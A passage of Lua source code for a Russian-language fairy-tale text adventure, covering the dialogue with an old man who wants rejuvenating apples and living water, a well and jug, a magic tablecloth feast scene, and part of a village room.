decor = [[Ты видишь {talkwithstarik|старика}. ]];
way = { path{'Отойти от старика', 'starik'} };
}
obj {
nam = 'talkwithstarik';
act = function()
if firsttalkwithstarik and not haveskatert and not izrubilappletrees and not talkedwithoutskatert and not have('one_apple') then walkin ('starikkonversation') elseif not firsttalkwithstarik and not haveskatert and not izrubilappletrees and not talkedwithoutskatert and not have('one_apple') then walk ('starikkonversation2') elseif izrubilappletrees and not talkedwithoutskatert and not have('one_apple') then walk('starikkonversation3') elseif not talkedwithoutskatert and have('one_apple') then walk('starikkonversation3') end;
if haveskatert then p [[Теперь он будет жить долго и счастливо!]] end;
if talkedwithoutskatert then p [[Лучше старика не трогать...]] end;
end;
used = function(n, z)
if z^'samobranka' then p [[-- Она твоя. Используй скатерть мудро.]]
elseif z^'one_apple' then p [[-- Увы. Одного яблока мало... Молодым я стану, если съем три яблока подряд. Иначе бесполезно.]]
elseif z^'kuvshin' then p [[Это пустой кувшин, который я дал тебе. Набери в него живой воды, пожалуйста!]] -- end;
elseif z^'apples' and dalwater and not firsttalkwithstarik then p [[-- Спасибо тебе, добрый человек! Взамен я дарю тебе скатерть-самобранку! Пусть она выручает тебя в пути. Только помни - никому не рассказывай о ней! Если проболтаешься - беда будет.]] replace('apples', 'samobranka') haveskatert = true
elseif z^'apples' and not dalwater and not firsttalkwithstarik then p [[-- Спасибо тебе, добрый человек! Теперь я молод. Но глаза мои по-прежнему больны... Только живая вода может излечить их и вернуть мне возможность видеть этот мир!]] dalapples = true remove('apples') -- end
elseif z^'apples' and firsttalkwithstarik then p [[Ты бы поговорил сначала с человеком...]]
elseif z^'kuvshinwithwater' and dalapples then p [[-- Спасибо тебе, добрый человек! Взамен я дарю тебе скатерть-самобранку! Пусть она выручает тебя в пути. Только помни - никому не рассказывай о ней! Если проболтаешься - беда будет.]] replace('kuvshinwithwater', 'samobranka') haveskatert = true elseif z^'kuvshinwithwater' and not dalapples then p [[Старик умыл глаза водой из кувшина. ^^-- Спасибо тебе, добрый человек! Теперь я могу хорошо видеть. Но я ведь по-прежнему стар! Найди молодильные яблоки.]] dalwater = true dalvodu = true remove('kuvshinwithwater') end
if z^'topor' then p [[Откуда в тебе эта тяга всё крушить, ломать и убивать? Оставь старика в покое.]] end
end;
};
dlg {
nam = 'starikkonversation';
disp = 'Разговор со стариком';
noinv = true;
pic = 'gfx/29.png';
enter = function(s)
p [[Приветствую тебя, странник!]];
firsttalkwithstarik = false;
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- Начало фразы
only = true;
{'Привет. Тебя, случаем, не Ричардом зовут?', '-- Нет, а что?',
{ function() p 'Да так, просто...' firsttalkwithstarik = true; end , '-- ???'}
},
{'Привет.', '-- Куда путь держишь?',
only = true;
{'А ты, значит, не знаешь?! Сейчас все знают, кто я и куда иду...','-- *эх* Нет. Злая колдунья отняла у меня годы жизни... Я стар. И почти слеп. И иду в далекую землю, где, говорят, есть такая вода, которой если умоешься - вмиг прозреешь. И есть такие яблоки, которые растут на особенных деревьях - когда их съешь - враз молодым становишься. Дивно ли, чудно ли, но я ищу всё это. Не для себя. Не только. Для старухи моей. Она побивается от горя, места себе не находит... Помоги мне - я тебе кое-что дам взамен. Это скатерть... ',
{'Ээ... Я всё понимаю. Но зачем мне какая-то скатерть?','-- Это не простая скатерть. Это скатерть-самобранка. Когда захочешь поесть - просто раскрой ее - и все яства появятся на ней.',
{'И ты мне отдашь ее просто так, за какие-то яблоки и воду?','-- Вот кувшин. Набери в него живой воды и принеси мне. Найди молодильные яблоки. И скатерть твоя.',
{'Хорошо, конечно, но... А как ты будешь без скатерти?','-- *старик усмехнулся* А зачем она мне, когда я смогу нормально ходить, нормально видеть, и обрету силу в руках?',
{'Ладно, я поищу тебе эти вещи.', function()p '-- Спасибо, добрый человек.' take('kuvshin') kuvshintakedfromstarik = true; end }
},
},
},
}, -- конец первого разветвления
{'О, а вы не знаете? Меня сейчас все встречные удивляют тем, что всё про меня знают...','-- *эх* Нет. Злая колдунья отняла у меня годы жизни... Я стар. И почти слеп. И иду в далекую землю, где, говорят, есть такая вода, которой если умоешься - вмиг прозреешь. И есть такие яблоки, которые растут на особенных деревьях - когда их съешь - враз молодым становишься. Дивно ли, чудно ли, но я ищу всё это. Не для себя. Не только. Для старухи моей. Она побивается от горя, места себе не находит... Помоги мне - я тебе кое-что дам взамен. Это скатерть...',
{'Скатерть? Зачем она мне?','-- Это не простая скатерть. Это скатерть-самобранка. Когда захочешь поесть - просто раскрой ее - и все яства появятся на ней.',
{'И вы хотите обменять ее на молодильные яблоки и живую воду?','-- Да, странник. Вот тебе кувшин. Набери в него живой воды и принеси мне. Найди молодильные яблоки. И скатерть твоя.',
{'Хорошо, конечно, но... А как же вы сами-то будете без скатерти?','-- *старик усмехнулся* А зачем она мне, когда я смогу нормально ходить, нормально видеть, и обрету силу в руках?',
{'Конечно, я поищу эти вещи для вас.', function() p 'Спасибо, добрый человек.' take('kuvshin') kuvshintakedfromstarik = true; end }
},
},
},
}, -- конец второго разветвления
}
} -- Конец фразы
}
dlg {
nam = 'starikkonversation2';
disp = 'Разговор со стариком';
noinv = true;
pic = 'gfx/29.png';
enter = function(s)
p [[Приветствую тебя, странник!]];
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- начало фразы
{'Привет!', function() if not dalwater then p'Набрал ли ты живой воды в кувшин, что я дал тебе?' end if not dalapples then p'Нашел ли ты молодильные яблоки?' end end ,
only = true;
{'Да, принёс.', function() if not dalwater and dalapples then p'-- Хорошо, тогда где же она?' end if not dalapples and dalwater then p'-- Хорошо, тогда где же они?' end if not dalwater and not dalapples then p'-- Хорошо, тогда где же они?' end end },
{'Нет, увы.','-- Очень жаль...'},
}
} -- конец фразы
}
dlg {
nam = 'starikkonversation3';
disp = 'Разговор со стариком';
noinv = true;
pic = 'gfx/29.png';
enter = function(s)
p [[Приветствую тебя, странник!]];
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- начало фразы
{'Привет!', 'Помоги мне, добрый человек. Злая колдунья отняла у меня годы жизни... Я стар. И почти слеп. И иду в далекую землю, где, говорят, есть такая вода, которой если умоешься - вмиг прозреешь. И есть такие яблоки, которые растут на особенных деревьях - когда их съешь - враз молодым становишься. Дивно ли, чудно ли, но я ищу всё это. Не для себя. Не только. Для старухи моей. Она побивается от горя, места себе не находит... Помоги мне - а я помогу тебе. Вижу, что голоден ты...',
only = true;
{'Я бы с радостью. Но нет у меня того, что вы просите. Простите.', function() p'Лицо старика искривилось от горечи, но он тут же взял себя в руки. ^^-- Так уж и быть. Возможно, я ещё встречу того, кто знает, где они.' talkedwithoutskatert = true end },
{'Нет, старик, нет у меня того, что ты хочешь, а даже если бы и было - с чего бы мне делиться?', function() p'Лицо старика исказилось от гнева. ^^-- Не будет тебе покоя, злой человек. Ты пожалеешь, что встретил меня...' talkedwithoutskatert = true end },
}
} -- конец фразы
}
room {
nam = 'waytovillage';
pic = 'gfx/30.png';
disp = 'Вид с горы';
decor = function()
p [[Если идем дальше - назад пути не будет.]];
if have('kuvshin') and not have('one_apple') then p [[А ведь надо помочь старику!]] end;
if have('kuvshinwithwater') and not have('one_apple') then p [[А ведь надо помочь старику! Ты набрал живой воды...]] end;
end;
way = { path{'Назад','starik'}, path {'Дальше','longroad1'} };
}
obj {
nam = 'kuvshin';
disp = fmt.img('gfx/inv/kuvshin.png')..'Кувшин';
inv = function()
if not nobackway then p[[Кувшин. Сюда я могу набрать живой воды и помочь старику.]] end;
if nobackway then p[[Кувшин, который дал мне старик...]] end;
end;
used = function (n, z)
if z^'pivo' and postavpivoje then
p [[Может, поставить сначала кувшин на столик?]];
elseif z^'pivo' and not postavpivoje then
p [[Ты бы с радостью перелил пиво прямо на весу, но чувствуешь, что так только расплескаешь его по всему трактиру...]];
return
end
if not z^'pivo' then return false end;
end
}
obj {
nam = 'kuvshin2';
disp = fmt.img('gfx/inv/kuvshin2.png')..'Кувшин';
inv = function()
p[[Кувшин, который я нашел в дупле дерева.]];
end;
used = function (n, z)
if z^'pivo' and postavpivoje then
p [[Может, поставить сначала кувшин на столик?]];
elseif z^'pivo' and not postavpivoje then
p [[Ты бы с радостью перелил пиво прямо на весу, но чувствуешь, что так только расплескаешь его по всему трактиру...]];
return
end
if not z^'pivo' then return false end;
end
}
obj {
nam = 'kuvshinwithwater';
disp = fmt.img('gfx/inv/kuvshinwithwater.png')..'Кувшин';
inv = function()
if not nobackway then p[[Кувшин с живой водой.]] end;
if nobackway then p[[Живая вода. Надо было принести её старику...]] end;
end;
}
obj {
nam = 'vedrowithkolodec';
act = function()
if not vedrowithkolodecisfull and not waterpoisoned then p [[Ты медленно и аккуратно спустил ведро в колодец, потом точно так же аккуратно достал его. Вода в ведре сверкает под солнечными лучами и манит тебя.]] specialcase = true
elseif not vedrowithkolodecisfull and waterpoisoned then p [[Ты, морщась от запаха, спустил ведро в колодец. Спустя какое-то время достал ведро мутной зеленой воды, которая вызывает отвращение.]]
elseif vedrowithkolodecisfull and not drinkedwaterinkolodets and not waterpoisoned then p [[Вода в ведре сверкает под солнечными лучами и манит тебя.]]
elseif vedrowithkolodecisfull and not drinkedwaterinkolodets and waterpoisoned and not specialcase then p [[Вода в ведре кажется непригодной к употреблению человеком.]]
elseif vedrowithkolodecisfull and not drinkedwaterinkolodets and waterpoisoned and specialcase then p [[Вода в ведре сверкает под солнечными лучами и манит тебя. Хорошо, что ты успел набрать чистой воды до своей выходки...]]
elseif vedrowithkolodecisfull and drinkedwaterinkolodets and not waterpoisoned then p [[Вода в ведре сверкает под солнечными лучами.]]
elseif vedrowithkolodecisfull and drinkedwaterinkolodets and waterpoisoned and not specialcase then p [[Страшный ты человек. Выпить такое...]]
elseif vedrowithkolodecisfull and drinkedwaterinkolodets and waterpoisoned and specialcase then p [[Вода в ведре сверкает под солнечными лучами.]] end
if not vedrowithkolodecisfull then snd.play('snd/vedroinkolodec.ogg', 1) end
vedrowithkolodecisfull = true;
end;
used = function(n, z)
if z^'kuvshinwithwater' then p [[Кувшин полон.]] end;
if z^'topor' then p [[Топором по ведру? А ты интересный...]] end;
if z^'kuvshin' and not vedrowithkolodecisfull then p [[Нельзя набрать воды из пустого ведра!]] end;
if z^'kuvshin' and vedrowithkolodecisfull and not waterpoisoned then p [[Ты набрал живой воды в кувшин старика.]] replace('kuvshin', 'kuvshinwithwater') end;
if z^'kuvshin' and vedrowithkolodecisfull and waterpoisoned and not specialcase then p [[Вода отравлена. В этой игре возможно всё, но отравить старика? Нет уж.]] end;
if z^'kuvshin' and vedrowithkolodecisfull and waterpoisoned and specialcase then p [[Ты набрал живой воды в кувшин старика.]] replace('kuvshin', 'kuvshinwithwater') end;
if z^'apples' then p [[Это сказочный мир. Не надо их мыть.]] end;
end;
}
obj {
nam = 'samobranka';
disp = fmt.img('gfx/inv/skatert.png')..'Скатерть';
inv = function()
walk('insamobranka');
end;
}
room {
nam = 'insamobranka';
title = 'Вкуснейшие яства из волшебной скатерти!';
noinv = true;
enter = function()
weareincontrol = true;
enteredsamobranka = true;
bread1 = false;
bread2 = false;
cake3 = false;
baton4 = false;
banan5 = false;
soup6 = false;
bottle7 = false;
arbuz8 = false;
blackikra9 = false;
formilk10 = false;
fish11 = false;
candles12 = false;
redikra13 = false;
meat14 = false;
kolbasa15 = false;
vinograd16 = false;
grusha17 = false;
apple18 = false;
if hungry == 0 then bg_name = 'gfx/bg_eat.png' end;
if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end;
if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end;
if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end;
if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end;
if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end;
if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end;
theme.gfx.bg (bg_name)
deletebutton();
end;
pic = function()
if not bread1 then pr 'gfx/inskatert/15.png;gfx/inskatert/1bread.png@120,95' end
if not bread2 then pr 'gfx/inskatert/15.png;gfx/inskatert/2bread.png@160,125' end
if not cake3 then pr 'gfx/inskatert/15.png;gfx/inskatert/3cake.png@205,127' end
if not baton4 then pr 'gfx/inskatert/15.png;gfx/inskatert/4baton.png@170,95' end
if not banan5 then pr 'gfx/inskatert/15.png;gfx/inskatert/5banan.png@232,107' end
if not soup6 then pr 'gfx/inskatert/15.png;gfx/inskatert/6soup.png@275,110' end
if not bottle7 then pr 'gfx/inskatert/15.png;gfx/inskatert/7bottle.png@312,93' end
if not arbuz8 then pr 'gfx/inskatert/15.png;gfx/inskatert/8arbuz.png@222,156' end
if not blackikra9 then pr 'gfx/inskatert/15.png;gfx/inskatert/9blackikra.png@130,160' end
if not formilk10 then pr 'gfx/inskatert/15.png;gfx/inskatert/10formilk.png@162,153' end
if not fish11 then pr 'gfx/inskatert/15.png;gfx/inskatert/11fish.png@104,203' end
if not candles12 then pr 'gfx/inskatert/15.png;gfx/inskatert/12candles.png@312,163' end
if not redikra13 then pr 'gfx/inskatert/15.png;gfx/inskatert/13redikra.png@314,183' end
if not meat14 then pr 'gfx/inskatert/15.png;gfx/inskatert/14meat.png@204,192' end
if not kolbasa15 then pr 'gfx/inskatert/15.png;gfx/inskatert/15-2kolbasa.png@178,228' end
if not vinograd16 then pr 'gfx/inskatert/15.png;gfx/inskatert/16vinograd.png@296,228' end
if not grusha17 then pr 'gfx/inskatert/15.png;gfx/inskatert/17grusha.png@323,233' end
if not apple18 then pr 'gfx/inskatert/15.png;gfx/inskatert/18apple.png@345,245' end
if bread1 and bread2 and cake3 and baton4 and banan5 and soup6 and bottle7 and arbuz8 and blackikra9 and formilk10 and fish11 and candles12 and redikra13 and meat14 and kolbasa15 and vinograd16 and grusha17 and apple18 then pr 'gfx/inskatert/15.png' end
end;
obj = {'eatbread1', 'eatcake3', 'eatbaton4', 'eatbanan5', 'eatsoup6', 'drinkbottle7', 'eatarbuz8', 'eatblackikra9', 'drinkmilk10', 'eatfish11', 'eatcandles12', 'eatredikra13', 'eatmeat14', 'eatkolbasa15', 'eatvinograd16', 'eatgrusha17', 'eatapple18'};
decor = function()
p 'Здесь рай для гурмана!'
if not bread1 and not bread2 then p 'Ты видишь вкусный, свежайший {eatbread1|хлеб}, который как будто только из печи! Его аромат сводит тебя с ума.' end
if not cake3 then p '{eatcake3|Пирожное} завораживает твой взгляд.' end
if not baton4 then p 'Свежий, мягкий {eatbaton4|батон}, который тает во рту лежит на скатерти.' end
if not banan5 then p 'Охапка {eatbanan5|бананов} тоже здесь.' end
if not soup6 then p 'В тарелке остывает вкусный, куриный {eatsoup6|бульон}.' end
if not bottle7 then p 'Что же в бутылке? Наверняка, {drinkbottle7|спиртное}.' end
if not arbuz8 then p 'Ломтик {eatarbuz8|арбуза} ярко красный и сочный.' end
if not blackikra9 then p 'И даже {eatblackikra9|черная икра}! Деликатес...' end
if not formilk10 then p 'Свежее {drinkmilk10|молоко} тоже есть на скатерти.' end
if not fish11 then p '{eatfish11|Рыба}! Морская. Каждый раз разная, но всегда вкусная.' end
if not candles12 then p '{eatcandles12|Конфеты}! Подобных ты еще никогда не ел.' end
if not redikra13 then p 'Здесь даже есть {eatredikra13|красная икра}!' end
if not meat14 then p '{eatmeat14|Мясо}! Сочная и свежая грудинка.' end
if not kolbasa15 then p '{eatkolbasa15|Колбаса}! И она из мяса! Так не бывает, конечно, но ты же в сказке, да?' end
if not vinograd16 then p 'Тяжелая гроздь {eatvinograd16|винограда}, налитая соком ждет тебя.' end
if not grusha17 then p 'Спелая, сочная {eatgrusha17|груша}. Как будто говорит тебе: скушай!' end
if not apple18 then p 'Алое {eatapple18|яблоко} на вкус приятно сочетает сладость и кислинку.' end
if bread1 and bread2 and cake3 and baton4 and banan5 and soup6 and bottle7 and arbuz8 and blackikra9 and formilk10 and fish11 and candles12 and redikra13 and meat14 and kolbasa15 and vinograd16 and grusha17 and apple18 then p 'Ты съел всё!' end
p '^^';
p ( fmt.c('{@ walkout|Свернуть скатерть-самобранку}') );
end;
exit = function()
enteredsamobranka = false;
weareincontrol = false;
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
if hungry >= hungrymax then prival1enabled = true prival2enabled = true prival3enabled = true prival4enabled = true prival5enabled = true prival6enabled = true end;
if youeatenfish and youeatenmilk then p [[Сочетать рыбу с молоком? А ты бесстрашный...]] end;
youeatenfish = false; youeatenmilk = false;
createbutton();
end;
}
obj {
nam = 'eatbread1';
act = function()
bread1 = true; bread2 = true; hungry = hungry+1 p 'Ты приятно захрустел корочкой.';
if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end;
if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end;
if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end;
if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name)
end;
}
obj {
nam = 'eatcake3';
act = function()
cake3 = true; hungry = hungry+1 p 'Ты попробовал мягкое, нежное пирожное, откусил кусочек, затем еще один. Глядь - а уже и съел. Куда только пирожное подевалось?';
if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end;
if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end;
if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end;
if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name)
end;
}
obj {
nam = 'eatbaton4';
act = function()
baton4 = true; hungry = hungry+1 p 'Съешь еще этого мягкого хрустящего батона да выпей молока ;)';
if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end;
if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end;
if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end;
if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name)
end;
}
obj {
nam = 'eatbanan5';
act = function()
banan5 = true; hungry = hungry+1 p 'Ты вмиг слопал связку бананов. Куда спешишь-то?)';
if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end;
if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end;
if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end;
if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name)
end;
}
obj {
nam = 'eatsoup6';
act = function()
soup6 = true; hungry = hungry+1 p 'Ты смакуя, съел куриный бульон, на душе потеплело, и прибавилось сил :)';
if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end;
if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end;
if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end;
if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name)
end;
}
obj {
nam = 'drinkbottle7';
act = function()
bottle7 = true; hungry = hungry+1 p 'Ты попробовал прекрасное домашнее вино и жизнь заиграла красками.';
if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end;
if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end;
if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end;
if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name)
end;
}
obj {
nam = 'eatarbuz8';
act = function()
arbuz8 = true; hungry = hungry+1 p 'Ты съел арбуз!';
if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end;
if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end;
if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end;
if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name)
end;
}
obj {
nam = 'eatblackikra9';
act = function()
blackikra9 = true; hungry = hungry+1 p 'Ты не спеша, смакуя, съел банку черной икры. А не зажирно будет?';
if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end;
if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end;
if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end;
if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name)
end;
}
obj {
nam = 'drinkmilk10';
act = function()
formilk10 = true; youeatenmilk = true; hungry = hungry+1 p 'Ты выпил свежее коровье молоко, приятное и полезное.';
if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end;
if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end;
if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end;
if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name)
end;
}
obj {
nam = 'eatfish11';
act = function()
fish11 = true; youeatenfish = true; hungry = hungry+1 p 'Ты аккуратно, не спеша, скушал рыбку. А ведь надеялся, что сделаешь это еще у озера...';
if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end;
if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end;
if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end;
if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name)
end;
}
obj {
nam = 'eatcandles12';
act = function()
candles12 = true; hungry = hungry+1 p 'Ты съел конфеты, одну за другой, мм...';
if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end;
if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end;
if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end;
if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name)
end;
}
obj {
nam = 'eatredikra13';
act = function()
redikra13 = true; hungry = hungry+1 p 'Что может быть вкуснее красной икры? Ты съел всю...';
if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end;
if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end;
if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end;
if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name)
end;
}
obj {
nam = 'eatmeat14';
act = function()
meat14 = true; hungry = hungry+1 p 'Мясо! Мм... Нет ничего лучше мяса. И это не обсуждается.';
if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end;
if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end;
if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end;
if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name)
end;
}
obj {
nam = 'eatkolbasa15';
act = function()
kolbasa15 = true; hungry = hungry+1 p 'Копченая, с приправами, душистая такая! Ты не смог остановиться, пока не съел всю...';
if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end;
if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end;
if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end;
if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name)
end;
}
obj {
nam = 'eatvinograd16';
act = function()
vinograd16 = true; hungry = hungry+1 p 'Сладкий виноград с райским вкусом. Конечно же, без косточек.';
if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end;
if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end;
if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end;
if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name)
end;
}
obj {
nam = 'eatgrusha17';
act = function()
grusha17 = true; hungry = hungry+1 p 'Ты съел грушку.';
if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end;
if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end;
if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end;
if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name)
end;
}
obj {
nam = 'eatapple18';
act = function()
apple18 = true; hungry = hungry+1 p 'Поистине, райское яблочко. Ты съел аж до косточек.';
if hungry == 0 then bg_name = 'gfx/bg_eat.png' end; if hungry == 1 then bg_name = 'gfx/bg_eat20.png' end;
if hungry == 2 then bg_name = 'gfx/bg_eat40.png' end; if hungry == 3 then bg_name = 'gfx/bg_eat60.png' end;
if hungry == 4 then bg_name = 'gfx/bg_eat80.png' end; if hungry == 5 then bg_name = 'gfx/bg_eat100.png' end;
if hungry > 5 then bg_name = 'gfx/bg_eat120.png' end; theme.gfx.bg (bg_name)
end;
}
room {
nam = 'village';
title = 'Деревня';
pic = function()
if not nableguest and evening == 0 then return 'gfx/31.png;gfx/daynight2/daynight0.png@0,0' end;
if not nableguest and evening == 1 then return 'gfx/31.png;gfx/daynight2/daynight1.png@0,0' end;
if not nableguest and evening == 2 then return 'gfx/31.png;gfx/daynight2/daynight2.png@0,0' end;
if not nableguest and evening == 3 then return 'gfx/31.png;gfx/daynight2/daynight3.png@0,0' end;
if not nableguest and evening == 4 then return 'gfx/31.png;gfx/daynight2/daynight4.png@0,0' end;
if not nableguest and evening == 5 then return 'gfx/31.png;gfx/daynight2/daynight5.png@0,0' end;
if not nableguest and evening == 6 then return 'gfx/31.png;gfx/daynight2/daynight6.png@0,0' end;
if not nableguest and evening == 7 then return 'gfx/31.png;gfx/daynight2/daynight7.png@0,0' end;
if not nableguest and evening == 8 then return 'gfx/31.png;gfx/daynight2/daynight8.png@0,0' end;
if not nableguest and evening == 9 then return 'gfx/31.png;gfx/daynight2/daynight9.png@0,0' end;
if not nableguest and evening == 10 then return 'gfx/31.png;gfx/daynight2/daynight10.png@0,0' end;
if not nableguest and evening == 11 then return 'gfx/31.png;gfx/daynight2/daynight11.png@0,0' end;
if not nableguest and evening == 12 then return 'gfx/31.png;gfx/daynight2/daynight12.png@0,0' end;
if not nableguest and evening == 13 then return 'gfx/31.png;gfx/daynight2/daynight13.png@0,0' end;
if not nableguest and evening == 14 then return 'gfx/31.png;gfx/daynight2/daynight14.png@0,0' end;
if not nableguest and evening == 15 then return 'gfx/31.png;gfx/daynight2/daynight15.png@0,0' end;
if not nableguest and evening == 16 then return 'gfx/31.png;gfx/daynight2/daynight16.png@0,0' end;
if not nableguest and evening == 17 then return 'gfx/31.png;gfx/daynight2/daynight17.png@0,0' end;
if not nableguest and evening == 18 then return 'gfx/31.png;gfx/daynight2/daynight18.png@0,0' end;
if not nableguest and evening == 19 then return 'gfx/31.png;gfx/daynight2/daynight19.png@0,0' end;
if not nableguest and evening == 20 then return 'gfx/31.png;gfx/daynight2/daynight20.png@0,0' end;
if not nableguest and evening == 21 then return 'gfx/31.png;gfx/daynight2/daynight21.png@0,0' end;
if not nableguest and evening == 22 then return 'gfx/31.png;gfx/daynight2/daynight22.png@0,0' end;
if not nableguest and evening == 23 then return 'gfx/31.png;gfx/daynight2/daynight23.png@0,0' end;
